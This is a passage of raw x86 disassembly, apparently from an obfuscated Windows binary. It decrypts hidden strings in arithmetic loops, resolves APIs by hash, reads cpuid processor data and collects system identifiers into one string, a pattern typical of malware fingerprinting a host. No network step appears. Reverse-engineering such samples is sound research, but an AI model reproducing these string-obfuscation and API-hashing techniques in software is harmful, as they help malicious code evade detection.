mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x431c10
jmp 0x431c23
mov edx, dword [esi + 0xc]
mov byte [edi], 0
movzx ecx, byte [edx]
test cl, cl
mov eax, dword [esi + 4]
je 0x431c4b
inc edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x431c40
mov byte [edi], pe_nt_image_headers32
inc edi
movzx ecx, byte [eax]
test cl, cl
je 0x431980
inc eax
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x431c60
jmp 0x431980
mov byte [ecx], 0
xor edx, edx
cmp byte [ecx - 1], 0x20
lea ecx, [ecx - 1]
sete dl
jmp dword [edx*4 + 0x44e1e8]
mov dword [esi + 0x9c], 0x1711c1e
mov dword [esi + 0xa0], 0xc2b4b256
mov byte [esi + 0xa4], 0x5c
mov dword [esi + 0xa5], 0
mov byte [esi + 0xa9], 0
mov edx, 0x16513039
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esi + edx - 0x16512f9d]
mov dword [esi + 4], eax
lea ebx, [edx - 0x16513000]
or ebx, edx
and ebx, eax
mov eax, ebx
or al, 0xfd
inc al
mov ecx, ebx
and cl, 0x7d
mul cl
mov ecx, eax
add cl, byte [esi + 4]
mov eax, ebx
shr al, 1
and al, 1
or bl, 2
mul bl
add al, al
sub cl, al
movzx eax, cl
add eax, edx
add al, 0xe3
mov byte [esi + edx - 0x16512f9d], al
inc edx
cmp edx, 0x16513047
jne 0x431cc0
movzx eax, byte [esi + 0x9c]
test al, al
je 0x431d2b
lea ecx, [esi + 0x9d]
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x431d20
mov dword [esi + 8], edi
mov byte [edi], 0
jmp case.0x43291f.12
mov ebx, dword [ebx]
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x44e1d8]
mov dword [edi], 0x202d090a
add edi, 4
mov ecx, dword [ebx + 8]
movzx edx, byte [ecx]
test dl, dl
je 0x431d7b
inc ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], dl
inc edi
movzx edx, byte [ecx]
inc ecx
test dl, dl
jne 0x431d70
mov byte [edi], 0
xor eax, eax
cmp byte [ebx + 4], 3
setb al
jmp dword [eax*4 + 0x44e1c0]
mov byte [edi], 0x20
movzx eax, byte [ebx + 4]
xor ecx, ecx
test al, al
sete cl
jmp dword [ecx*4 + 0x44e1c8]
xor ecx, ecx
cmp al, 1
sete cl
jmp dword [ecx*4 + 0x44e1d0]
lea eax, [esi + 0xa6]
mov dword [esi + 0x9c], 0x70707a61
mov dword [esi + 0xa0], 0x10d7971
mov word [esi + 0xa4], 0xcf6b
mov byte [eax + 4], 0
mov dword [eax], 0
mov ecx, 0xd0c43831
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esi + ecx + 0x2f3bc86b]
xor eax, ecx
mov edx, eax
xor edx, 0xf6
and eax, 9
add eax, eax
sub eax, edx
inc al
mov byte [esi + ecx + 0x2f3bc86b], al
inc ecx
cmp ecx, 0xd0c43840
jne 0x431df0
lea edx, [esi + 0x9c]
jmp case.0x42cf5f.232
mov dword [esi + 0x10], ebx
mov dword [esi + 8], edi
lea eax, [esi + 0x622]
mov dword [esi + 0x61c], 0x2d2c2a3f
mov word [esi + 0x620], 0x9531
mov word [eax + 4], 0
mov dword [eax], 0
xor ecx, ecx
nop
nop
nop
mov edx, ecx
and edx, 4
mov eax, ecx
and eax, 2
mov edi, eax
xor edi, 2
imul edi, edx
or edx, 2
imul edx, eax
mov eax, ecx
xor eax, 0xa6
add eax, edi
movzx ebx, byte [esi + ecx + 0x61c]
add eax, edx
lea edx, [ebx + ebx]
not edx
add edx, ebx
xor ebx, edx
and ebx, eax
xor ebx, edx
mov al, 0xc1
sub al, bl
mov byte [esi + ecx + 0x61c], al
inc ecx
cmp ecx, 0xc
jne 0x431e60
lea edx, [esi + 0x61c]
jmp 0x431f26
mov dword [esi + 0x10], ebx
mov dword [esi + 8], edi
mov dword [esi + 0x48], 0xe3c3e0b
mov byte [esi + 0x4c], 0x64
mov dword [esi + 0x4d], 0
lea edx, [esi + 0x48]
xor edi, edi
mov ebx, edx
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esi + 0xc], eax
mov dword [esi + 4], edi
mov edi, dword [esi + 4]
and edi, 0xfffffff0
add edi, eax
movzx ecx, byte [ebx]
xor edi, 0xcbe22de8
mov eax, edi
and eax, ecx
or edi, ecx
lea ecx, [edi + edi]
not ecx
add ecx, edi
mov edi, dword [esi + 4]
or ecx, eax
mov eax, ecx
not eax
and eax, 0x77
add eax, eax
xor ecx, 0x77
sub eax, ecx
mov byte [ebx], al
mov eax, dword [esi + 0xc]
inc eax
inc ebx
add edi, 2
cmp edi, 0x12
jne 0x431ee0
mov edi, dword [esi + 8]
mov ebx, dword [esi + 0x10]
inc edi
movzx ecx, byte [edx]
test cl, cl
je 0x431f4b
inc edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x431f40
mov byte [edi], 0
mov ebx, dword [ebx]
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x44e1d8]
mov dword [esi + 8], edi
jmp dword [0x44e1e0]
mov ecx, dword [esi + 0x14]
mov edi, ecx
call fcn.00437090
push edi
call fcn.0040cde0
add esp, 4
jmp case.0x43291f.12
mov dword [esi + 0x9c], 0x712a183a
mov dword [esi + 0xa0], 0x37a7061
mov word [esi + 0xa4], 0xc324
mov dword [esi + 0xa6], 0
mov byte [esi + 0xaa], 0
mov eax, 0xf3a03e33
mov ecx, 0xc5fc1cc
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esi + eax + 0xc5fc269]
mov edi, ecx
xor edi, 0xc404090
mov ebx, ecx
or ebx, 0x1f816f
and ebx, edi
mov edi, eax
and edi, 0xf3000610
or edi, ebx
mov ebx, edx
xor ebx, 0x90
xor edx, 0x6f
or edx, edi
not edi
or edi, ebx
and edx, edi
inc dl
mov byte [esi + eax + 0xc5fc269], dl
inc eax
dec ecx
cmp eax, 0xf3a03e42
jne 0x431fc0
movzx eax, byte [esi + 0x9c]
test al, al
je 0x43202d
lea ecx, [esi + 0x9d]
mov edx, dword [esi + 8]
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x432020
jmp 0x432030
mov edx, dword [esi + 8]
mov byte [edx], 0
movzx eax, byte [0x4500cc]
test al, al
je 0x432051
xor ecx, ecx
mov byte [edx + ecx], al
movzx eax, byte [ecx + 0x4500cd]
inc ecx
test al, al
jne 0x432040
add edx, ecx
mov dword [esi + 8], edx
mov byte [edx], 0
mov dword [esi + 0x44], 0
mov dword [esi + 0x40], 0
push 0x6829a8bc
push dword [0x451434]
call fcn.004442e0
add esp, 8
lea ecx, [esi + 0x40]
push ecx
call eax
mov eax, dword [esi + 0x40]
mov ecx, dword [esi + 0x44]
shld ecx, eax, 0x16
lea eax, [esi + 0x6f9]
push 0xa
push 0xb
push eax
push ecx
call fcn.00423730
add esp, 0x10
mov word [esi + 0x61c], 0x8fb5
mov byte [esi + 0x61e], 0xce
mov dword [esi + 0x61f], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xd2
xor dl, byte [esi + ecx + 0x61c]
add dl, 0xe6
mov byte [esi + ecx + 0x61c], dl
inc ecx
cmp ecx, 7
jne 0x4320c0
mov dword [esi + 0x9c], 0x2172449a
mov dword [esi + 0xa0], 0x2c7e285d
mov dword [esi + 0xa4], 0x41370331
mov word [esi + 0xa8], 0x8564
mov dword [esi + 0xaa], 0
mov byte [esi + 0xae], 0
xor ecx, ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, edx
xor edi, 0x1c
mov ebx, ecx
and ebx, 6
sub ebx, edi
xor bl, byte [esi + edx + 0x9c]
add bl, 0x8c
mov byte [esi + edx + 0x9c], bl
inc edx
add ecx, 2
cmp edx, 0x13
jne 0x432120
movzx ecx, byte [esi + 0x9c]
test cl, cl
je 0x43216d
lea edx, [esi + 0x9d]
mov edi, dword [esi + 8]
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x432160
jmp 0x432170
mov edi, dword [esi + 8]
mov byte [edi], 0
movzx ecx, byte [eax]
test cl, cl
je 0x43218b
inc eax
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x432180
mov byte [edi], 0
movzx eax, byte [esi + 0x61c]
test al, al
je 0x4321ab
lea ecx, [esi + 0x61d]
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4321a0
xor eax, eax
xor ecx, ecx
cpuid
mov dword [esi + 0x8c], ebx
mov dword [esi + 8], edi
mov byte [edi], 0
mov dword [esi + 0x90], edx
mov dword [esi + 0x94], ecx
mov byte [esi + 0x98], 0
mov dword [esi + 0x9c], 0x1c3a285a
mov dword [esi + 0xa0], 0xf73ef408
mov dword [esi + 0xa4], 0xe0f6e1e7
mov dword [esi + 0xa8], 0x553619e6
mov word [esi + 0xac], 0
mov byte [esi + 0xae], 0
lea eax, [esi + 0x9c]
mov ecx, 0x324dd210
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [eax]
mov edx, ecx
or edx, edi
lea ebx, [ecx - 0x324dd200]
and ebx, edi
not edx
or edx, ebx
mov edi, edx
and edi, 1
xor edx, 1
lea edx, [edx + edi*2]
add dl, 0x54
mov byte [eax], dl
inc eax
dec ecx
cmp ecx, 0x324dd1fd
jne 0x432220
movzx eax, byte [esi + 0x9c]
test al, al
je 0x43227d
lea ecx, [esi + 0x9d]
mov edx, dword [esi + 8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x432270
jmp 0x432280
mov edx, dword [esi + 8]
mov byte [edx], 0
movzx eax, byte [esi + 0x8c]
test al, al
je 0x4322ab
lea ecx, [esi + 0x8d]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4322a0
mov dword [esi + 8], edx
mov byte [edx], 0
mov eax, 0x80000002
xor ecx, ecx
cpuid
mov dword [esi + 0x48], eax
mov dword [esi + 0x4c], ebx
mov dword [esi + 0x50], ecx
mov dword [esi + 0x54], edx
mov eax, 0x80000003
mov ecx, 0
cpuid
mov dword [esi + 0x58], eax
mov dword [esi + 0x5c], ebx
mov dword [esi + 0x60], ecx
mov dword [esi + 0x64], edx
mov eax, 0x80000004
mov ecx, 0
cpuid
mov dword [esi + 0x68], eax
mov dword [esi + 0x6c], ebx
mov dword [esi + 0x70], ecx
mov dword [esi + 0x74], edx
lea edx, [esi + 0x734]
lea eax, [esi + 0x704]
lea ebx, [esi + 0x48]
mov ecx, 0xc
mov edi, eax
xchg esi, ebx
rep movsd dword es:[edi], dword [esi]
xchg esi, ebx
lea ebx, [esi + 0x78]
mov edi, edx
xor ecx, ecx
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
mov ecx, edx
dec ecx
xor ebx, ebx
cmp byte [edx - 1], 0x20
sete bl
jmp dword [ebx*4 + 0x44e1e8]
movzx edx, byte [ebx]
mov eax, ecx
test dl, dl
je 0x43237b
lea edi, [ebx + 1]
mov eax, ecx
nop
nop
mov byte [eax], dl
inc eax
movzx edx, byte [edi]
inc edi
test dl, dl
jne 0x432370
mov byte [eax], 0
mov edi, eax
jmp dword [0x44e178]
mov dword [esi + 0x41c], 0x4316dcfe
mov dword [esi + 0x420], 0x67535a67
mov dword [esi + 0x424], 0x635f3d10
mov dword [esi + 0x428], 0xfb1a3b51
mov eax, 0xd2948efe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esi + eax + 0x2d6b751e]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0xa
mov byte [esi + eax + 0x2d6b751e], cl
inc eax
cmp eax, 0xd2948f0e
jne 0x4323c0
movzx eax, byte [esi + 0x41c]
test al, al
je 0x43240b
lea ecx, [esi + 0x41d]
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x432400
mov byte [edi], 0
movzx eax, byte [esi + 0xb0]
test al, al
je 0x43242b
lea ecx, [esi + 0xb1]
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x432420
mov byte [edi], 0
mov dword [esi + 0x41c], 0xbded4f6
mov dword [esi + 0x420], 0xc3071015
mov dword [esi + 0x424], 0x274721e
mov dword [esi + 0x428], 0x1f1fc53a
mov dword [esi + 0x42c], 0xe92f
mov byte [esi + 0x430], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x2a
xor cl, byte [esi + eax + 0x41c]
add cl, 0x2e
mov byte [esi + eax + 0x41c], cl
inc eax
cmp eax, 0x15
jne 0x432470
movzx eax, byte [esi + 0x41c]
test al, al
je 0x4324ab
lea ecx, [esi + 0x41d]
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4324a0
mov byte [edi], 0
movzx eax, word [esi + 0xc4]
xor ecx, ecx
test ax, ax
setns cl
jmp dword [ecx*4 + 0x44e180]
jmp 0x4324d1
mov byte [edi], 0x2b
inc edi
movzx eax, word [esi + 0xc4]
lea ecx, [esi + 0x48]
cwde
push 0xa
push 7
push ecx
push eax
call fcn.00435630
add esp, 0x10
movzx ecx, byte [eax]
test cl, cl
je 0x4324fb
inc eax
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x4324f0
mov dword [esi + 8], edi
mov byte [edi], 0
mov dword [esi + 0x41c], 0x4e7a680a
mov dword [esi + 0x420], 0xcadadaaa
mov dword [esi + 0x424], 0x2d02d7d0
mov dword [esi + 0x428], 0x2bc5d3cf
mov word [esi + 0x42c], 0x6b0c
mov dword [esi + 0x42e], 0
mov byte [esi + 0x432], 0
mov eax, 0x21bd4d3b
mov ecx, 0xde42b2c4
nop
nop
nop
movzx edx, byte [esi + eax - 0x21bd491f]
mov ebx, ecx
and ebx, 0x964202cc
mov edi, eax
and edi, 0x33
or edi, ebx
xor edi, ecx
xor edi, 0x964202cc
and edi, ecx
not edi
and edi, edx
lea ebx, [edi + edi]
not ebx
add ebx, edi
or edx, eax
and ebx, edx
add bl, 0xd9
mov byte [esi + eax - 0x21bd491f], bl
inc eax
dec ecx
cmp eax, 0x21bd4d52
jne 0x432550
movzx eax, byte [esi + 0x41c]
test al, al
je 0x4325bd
lea ecx, [esi + 0x41d]
mov edi, dword [esi + 8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4325b0
jmp 0x4325c0
mov edi, dword [esi + 8]
mov byte [edi], 0
movzx eax, byte [esi + 0xc6]
test al, al
je 0x4325eb
lea ecx, [esi + 0xc7]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4325e0
mov byte [edi], 0
mov eax, dword [esi + 0xac]
test eax, eax
je 0x432601
push eax
call fcn.0040cde0
add esp, 4
mov dword [esi + 8], edi
call fcn.0043bbc0
movzx eax, al
jmp dword [eax*4 + 0x44e198]
mov dword [esi + 0x41c], 0x8a9b9794
mov byte [esi + 0x420], 0x14
mov dword [esi + 0x421], 0
mov byte [esi + 0x425], 0
mov eax, 0x86
mov ecx, 0x79
nop
mov edi, ecx
and edi, 0x41
mov edx, eax
and edx, 0x9e
or edx, edi
xor dl, byte [esi + eax + 0x396]
xor dl, 0x41
add dl, 0x62
mov byte [esi + eax + 0x396], dl
inc eax
dec ecx
cmp eax, 0x90
jne 0x432640
lea eax, [esi + 0x41c]
mov dword [esi + 0x9c], 0xcee6f08e
mov dword [esi + 0xa0], 0x2e3c2c34
mov dword [esi + 0xa4], 0xf3222030
mov word [esi + 0xa8], 0x8be8
mov dword [esi + 0xaa], 0
mov word [esi + 0xae], 0
mov ecx, 0x2b8fb3a1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esi + ecx - 0x2b8fb305]
lea edi, [ecx - 0x2b8fb300]
and edi, edx
mov ebx, edx
or ebx, ecx
not ebx
or ebx, edi
lea edi, [ecx - 0x80000000]
and ebx, edi
add bl, bl
sub dl, bl
movzx edx, dl
add edx, ecx
add dl, 0xdb
mov byte [esi + ecx - 0x2b8fb305], dl
inc ecx
cmp ecx, 0x2b8fb3b5
jne 0x4326c0
movzx ecx, byte [esi + 0x9c]
test cl, cl
je 0x43271d
lea edx, [esi + 0x9d]
mov edi, dword [esi + 8]
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x432710
jmp 0x432720
mov edi, dword [esi + 8]
mov byte [edi], 0
movzx ecx, byte [eax]
test cl, cl
je 0x43273b
inc eax
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x432730
mov dword [esi + 8], edi
mov byte [edi], 0
mov byte [esi + 0x3f4], 0
mov dword [esi + 0x84], 0x10
push 0xb239caff
push dword [0x451434]
call fcn.004442e0
add esp, 8
lea ecx, [esi + 0x84]
lea edx, [esi + 0x3f4]
push ecx
push edx
call eax
mov dword [esi + 0x9c], 0x78965cbe
mov dword [esi + 0xa0], 0x2e222027
mov dword [esi + 0xa4], 0x79205c2c
mov word [esi + 0xa8], 0xbd9c
mov dword [esi + 0xaa], 0
mov byte [esi + 0xae], 0
mov eax, 0x1a5d8e5e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esi + eax - 0x1a5d8dc2]
mov edx, eax
and edx, ebx
mov ecx, edx
mov edi, edx
and edi, 0x7d
or ecx, 0xfd
inc ecx
imul ecx, edi
mov edi, edx
xor ebx, eax
lea ebx, [ebx + edx*2]
and edi, 2
or edx, 2
imul edx, edi
sub ebx, edx
add ebx, ecx
add bl, 0x2a
mov byte [esi + eax - 0x1a5d8dc2], bl
inc eax
cmp eax, 0x1a5d8e71
jne 0x4327c0
movzx eax, byte [esi + 0x9c]
test al, al
je 0x43282d
lea ecx, [esi + 0x9d]
mov edx, dword [esi + 8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x432820
jmp 0x432830
mov edx, dword [esi + 8]
mov byte [edx], 0
movzx eax, byte [esi + 0x3f4]
test al, al
je 0x43285b
lea ecx, [esi + 0x3f5]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x432850
mov dword [esi + 8], edx
mov byte [edx], 0
mov dword [esi + 0x734], 0
mov dword [esi + 0x738], 0
mov eax, dword [0x450128]
mov dword [esi + 0x9c], 0x1fba19b9
mov dword [esi + 0xa0], 0xe3431da6
mov dword [esi + 0xa4], 0xe74fe150
mov dword [esi + 0xa8], 0xeb1ce513
mov dword [esi + 0xac], 0xef4ae91a
mov dword [esi + 0xb0], 0xf35eed40
mov word [esi + 0xb4], 0xf1f0
mov dword [esi + 0xb6], 0
mov ecx, 0xfa
mov edx, 5
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esi + ecx - 0x5e]
mov ebx, edx
xor ebx, ecx
and ebx, edi
xor ebx, ecx
add bl, 0x1e
mov byte [esi + ecx - 0x5e], bl
inc ecx
dec edx
cmp ecx, 0x118
jne case.default.0x43291f
push 0x800
push 0
lea edi, [esi + 0x9c]
push edi
call eax
lea ebx, [esi + 0x734]
mov ecx, ebx
push eax
call fcn.00440160
movzx eax, al
jmp dword [eax*4 + 0x44e1b0]
mov edi, dword [esi + 8]
jmp 0x4329fa
mov byte [esi + 0x9c], 0
mov dword [esi + 0x61c], 0x101
push 0xebbb107d
push dword [esi + 0x734]
call fcn.004442e0
add esp, 8
lea ecx, [esi + 0x61c]
push ecx
push edi
call eax
mov dword [esi + 0x41c], 0x22eaf89a
mov dword [esi + 0x420], 0xc3083c05
mov word [esi + 0x424], 0x83e4
mov dword [esi + 0x426], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x23
xor cl, byte [esi + eax + 0x41c]
add cl, 0x51
mov byte [esi + eax + 0x41c], cl
inc eax
cmp eax, 0xe
jne 0x432990
movzx eax, byte [esi + 0x41c]
test al, al
mov edi, dword [esi + 8]
je 0x4329cb
lea ecx, [esi + 0x41d]
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4329c0
mov byte [edi], 0
movzx eax, byte [esi + 0x9c]
test al, al
je 0x4329eb
lea ecx, [esi + 0x9d]
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4329e0
mov byte [edi], 0
push dword [esi + 0x734]
call dword [0x45022c]
push 0xe810d870
push dword [0x451434]
call fcn.004442e0
add esp, 8
mov byte [esi + 0x41c], 0
mov dword [esi + 0x80], 0x200
lea edx, [esi + 0x80]
lea ecx, [esi + 0x41c]
push edx
push ecx
push 6
mov dword [esi + 4], eax
call eax
mov dword [esi + 0x9c], 0x3bded4f6
mov dword [esi + 0xa0], 0xa03106f
mov dword [esi + 0xa4], 0xe7c63f72
mov word [esi + 0xa8], 0
mov byte [esi + 0xaa], 0
mov eax, 0xe105b1aa
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esi + eax + 0x1efa4ef2]
mov edx, eax
and edx, ecx
add edx, edx
sub ecx, edx
lea edx, [eax + ecx]
not edx
add ecx, eax
add ecx, 0xad
and edx, 1
or ecx, 1
add ecx, edx
mov byte [esi + eax + 0x1efa4ef2], cl
inc eax
cmp eax, 0xe105b1b9
jne 0x432a70
movzx eax, byte [esi + 0x9c]
test al, al
je 0x432acb
lea ecx, [esi + 0x9d]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x432ac0
mov byte [edi], 0
movzx eax, byte [esi + 0x41c]
test al, al
je 0x432aeb
lea ecx, [esi + 0x41d]
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x432ae0
mov dword [esi + 8], edi
mov byte [edi], 0
mov byte [esi + 0x734], 0
mov dword [esi + 0x7c], 0x200
lea eax, [esi + 0x7c]
push eax
push ebx
push 5
call dword [esi + 4]
mov dword [esi + 0x9c], 0xf72e1436
mov dword [esi + 0xa0], 0xd1d6dadf
mov dword [esi + 0xa4], 0x9e3dce1
mov word [esi + 0xa8], 0x4524
mov dword [esi + 0xaa], 0
mov word [esi + 0xae], 0
mov eax, 0x547dd6
mov edi, 0x2ab8229
nop
nop
nop
movzx ebx, byte [esi + eax - 0x547d3a]
mov ecx, edi
and ecx, 0x20a8024
mov edx, eax
and edx, 0x50551b
sub edx, ecx
xor edx, ebx
lea ebx, [edx + edx]
mov ecx, ebx
and ecx, 0x1145ae8a
xor edx, 0x8a2d745
add edx, ecx
mov ecx, edx
not ecx
or ecx, 1
add ecx, edx
or ebx, 0xfd
add ebx, edx
lea ecx, [ebx + ecx*2]
add cl, 4
mov byte [esi + eax - 0x547d3a], cl
inc eax
dec edi
cmp eax, 0x547dea
jne 0x432b50
movzx eax, byte [esi + 0x9c]
test al, al
je 0x432bcd
lea ecx, [esi + 0x9d]
mov edx, dword [esi + 8]
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x432bc0
jmp 0x432bd0
mov edx, dword [esi + 8]
mov byte [edx], 0
movzx eax, byte [esi + 0x734]
test al, al
je 0x432bfb
lea ecx, [esi + 0x735]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x432bf0
mov dword [esi + 8], edx
mov byte [edx], 0
mov byte [esi + 0x3e4], 0
mov dword [esi + 0x78], 0x10
lea eax, [esi + 0x78]
lea ecx, [esi + 0x3e4]
push eax
push ecx
push 4
call dword [esi + 4]
mov dword [esi + 0x9c], 0x65364c2e
mov dword [esi + 0xa0], 0x6a6c9989
mov dword [esi + 0xa4], 0x2f487e63
mov byte [esi + 0xa8], 0xc
mov dword [esi + 0xa9], 0
mov byte [esi + 0xad], 0
xor ecx, ecx
mov eax, 0xffffffff
nop
nop
nop
nop
mov edx, eax
or edx, 0xa182a686
add edx, ecx
inc edx
mov edi, ecx
or edi, 0xa182a686
mov ebx, edx
and ebx, edi
xor edi, edx
lea edx, [edi + ebx*2]
movzx edi, byte [esi + ecx + 0x9c]
xor edx, edi
mov edi, edx
not edi
add edx, 0x61
and edi, 1
or edx, 1
add edx, edi
mov byte [esi + ecx + 0x9c], dl
inc ecx
dec eax
cmp ecx, 0x12
jne 0x432c60
movzx eax, byte [esi + 0x9c]
test al, al
je 0x432ccd
lea ecx, [esi + 0x9d]
mov edx, dword [esi + 8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x432cc0
jmp 0x432cd0
mov edx, dword [esi + 8]
mov byte [edx], 0
movzx eax, byte [esi + 0x3e4]
test al, al
je 0x432cfb
lea ecx, [esi + 0x3e5]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x432cf0
mov dword [esi + 8], edx
mov byte [edx], 0
mov word [esi + 0x934], 0
push 0xb2aef31b
push dword [0x451434]
call fcn.004442e0
add esp, 8
lea ecx, [esi + 0x934]
push 0x56
mov dword [esi + 0xc], ecx
push ecx
call eax
mov dword [esi + 0x9c], 0xcfe2ec8a
mov dword [esi + 0xa0], 0x32212b25
mov dword [esi + 0xa4], 0xf12f2e29
mov word [esi + 0xa8], 0x8dec
mov dword [esi + 0xaa], 0
mov byte [esi + 0xae], 0
mov eax, 0x20
mov ecx, 0x1a28a5df
nop
nop
nop
mov dword [esi + 4], ecx
movzx edi, byte [esi + eax + 0x7c]
lea ebx, [ecx - 0x1a28a500]
xor ebx, edi
mov edx, dword [esi + 4]
and edx, edi
or edx, ebx
mov ebx, eax
xor ebx, edi
add ebx, edi
not edi
and edi, dword [esi + 4]
add ebx, edi
mov ecx, 0xfe
sub ecx, ebx
and ecx, edx
mov dl, 0x5f
sub dl, cl
mov byte [esi + eax + 0x7c], dl
mov ecx, dword [esi + 4]
inc eax
dec ecx
cmp eax, 0x33
jne 0x432d70
movzx eax, byte [esi + 0x9c]
test al, al
je 0x432ddd
lea ecx, [esi + 0x9d]
mov edi, dword [esi + 8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x432dd0
jmp 0x432de0
mov edi, dword [esi + 8]
mov byte [edi], 0
movzx edx, word [esi + 0x934]
mov eax, edi
test dx, dx
je 0x432f42
mov ecx, 0x55
mov eax, edi
nop
nop
nop
nop
mov dword [esi + 0x14], eax
movzx ebx, dx
mov edx, dword [esi + 0xc]
lea eax, [edx + 2]
mov dword [esi + 4], eax
cmp bx, 0x7f
ja 0x432e30
mov eax, dword [esi + 0x14]
mov byte [eax], bl
mov ebx, eax
inc eax
mov edx, dword [esi + 4]
jmp 0x432ed0
cmp ebx, 0x7ff
ja 0x432e60
cmp ecx, 2
jb 0x432e60
mov eax, ebx
shr eax, 6
add al, 0xc0
mov edx, dword [esi + 0x14]
mov byte [edx], al
and bl, 0x3f
or bl, 0x80
lea eax, [edx + 2]
mov byte [edx + 1], bl
mov ebx, edx
mov edx, dword [esi + 4]
jmp 0x432ed0
mov eax, ebx
and eax, 0xfc00
cmp eax, 0xd800
jne 0x432ee9
cmp ecx, 4
jb 0x432ee9
movzx eax, word [edx + 2]
mov dword [esi + 4], eax
shl ebx, 0xa
mov eax, dword [esi + 4]
add eax, ebx
add eax, 0xfca02400
mov ebx, eax
shr ebx, 0x12
add bl, 0xf0
mov dword [esi + 0xc], edx
mov edx, dword [esi + 0x14]
mov byte [edx], bl
mov ebx, eax
shr ebx, 0xc
and bl, 0x3f
or bl, 0x80
mov byte [edx + 1], bl
mov ebx, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [edx + 2], al
mov edx, dword [esi + 0xc]
add edx, 4
mov eax, dword [esi + 4]
and al, 0x3f
or al, 0x80
mov byte [ebx + 3], al
lea eax, [ebx + 4]
nop
nop
